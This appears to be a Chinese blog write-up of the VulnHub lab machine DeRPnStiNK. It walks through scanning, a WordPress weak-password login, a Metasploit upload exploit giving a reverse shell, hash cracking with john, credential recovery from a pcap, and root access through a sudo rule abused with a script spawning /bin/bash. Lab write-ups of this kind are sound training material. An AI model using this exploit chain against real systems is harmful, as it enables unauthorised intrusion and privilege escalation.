vulnhub系列:DeRPnStiNK

vulnhub系列:DeRPnStiNK

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

image-20240807181243169

nmap扫描端口,开放端口:21、22、80

nmap 192.168.23.182 -p- -A -sV -Pn

image-20240807181348725

访问80端口

image-20240807181531741

flag 1

f12查看源码,发现第一个flag

image-20240807181725873

看到一个txt文件

image-20240807181834601

在/webnootes/info.txt 中,得到提示,在hosts中配置dns

image-20240807181847004

dirb目录扫描,存在phpmyadmin,目录javascript、php、temporary、weblog等,

dirb http://192.168.23.182/

image-20240807182337488

访问temporary,让我加油

image-20240807182843675

访问weblog,发现页面跳转,之前要修改的hosts应该就是这个

http://derpnstink.local/weblog/

image-20240807182958404

在 hosts 中添加

image-20240807183159337

访问 php/phpmyadmin,发现一个mysql管理页面,弱口令和万能密码等尝试一下,没有成功

image-20240807183348102

访问 weblog/wp-admin,是wordpress的登录页面

image-20240807183452078

弱口令成功登录

admin:admin

image-20240807183724568

将kali中的hosts也绑定一下,使用wpscan扫描一下

wpscan --url http://derpnstink.local/weblog/ --enumerate p,t

发现有一个过时的组件

image-20240807184844740

msfconsole搜一下,存在可利用漏洞

msfconsole
search slideshow gallery

image-20240807185051316

二、getshell

开始利用漏洞

use exploit/unix/webapp/wp_slideshowgallery_upload
options
set rhosts 192.168.23.182
set targeturi /weblog/
set wp_user admin
set wp_password admin
run

image-20240807185504975

成功反弹

image-20240807185610731

shell进入交互,并用python提高交互性

python -c "import pty;pty.spawn('/bin/bash')"

image-20240807185749109

三、提权

在 /var/www/html/weblog/wp-config.php 中发现了mysql数据库的账号密码

root:mysql

image-20240807190444847

访问php/phpmyadmin,登录mysql数据库

http://192.168.23.182/php/phpmyadmin

image-20240807190614220

执行命令,查看是否可以 udf 提权,发现存在限制

show variables like '%secure%'

image-20240807190748855

在wp_users表中发现用户 unclestinky 和hash加密的密码

unclestinky
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41

image-20240807191012460

将密码保存在hash文件中,使用john工具碰撞

john --wordlist=/usr/share/wordlists/rockyou.txt hash

image-20240807192319876

得到密码wedgie57

unclestinky/wedgie57

flag 2

登录wordpress,在Posts中发现一个flag文件,没有其他新发现

image-20240807191916344

回到shell终端,在home目录下发现两个用户

mrderp
stinky

image-20240807192535355

ssh尝试连接,不支持密码登录

ssh 192.168.23.182

image-20240807192428464

再试试ftp服务连接,mrderp登录失败,stinky登录成功

ftp 192.168.23.182
stinky/wedgie57

image-20240807192743733

在files目录中发现一些文件和目录,test.txt

image-20240807193541488

/files/netword-logs下发现derpissues.txt

image-20240807193906521

在/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh中发现key.txt

image-20240807193305913

全都下载下来

get 文件名

依次查看

derpissues.txt,提到改密码时抓取了数据包

image-20240807194014288

key.txt,是一个密钥

image-20240807194039220

test.txt,vsftpd测试文件

image-20240807194333137

给kye.txt赋予权限,使用密钥连接ssh,连接成功

chmod 600 key.txt
ssh -i key.txt stinky@192.168.23.182

image-20240807194637726

flag 3

Desktop下发现flag文件

image-20240807194858978

Documents下发现pcap文件,应该是前面提到的改密码时抓取的数据包

image-20240807195114130

开启一个web临时服务

python3 -m http.server

image-20240807195504078

将其下载下来,使用wireshark工具打开文件

image-20240807195719446

根据之前的对话,过滤http,寻找修改密码的数据包

image-20240807200146076

在数据包中,发现了账号密码

mrderp/derpderpderpderpderpderpderp

image-20240807200347413

切换mrderp用户

su mrderp

image-20240807200656558

查看当前权限

sudo -l

image-20240807200720918

看到可以在 /home/mrderp/binaries 下执行 derpy 开头的文件,那么我们就创建这样一个目录,然后在该目录下创建一个 derpy 开头的可执行文件

cd /home/mrderp/
mkdir binaries
cd binaries
echo "/bin/bash" > derpy.sh
chmod 777 derpy.sh
sudo ./derpy.sh

成功提权

image-20240807201207054

flag 4

在 /root/Desktop 下发现flag文件

image-20240807201318329

  • 15
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值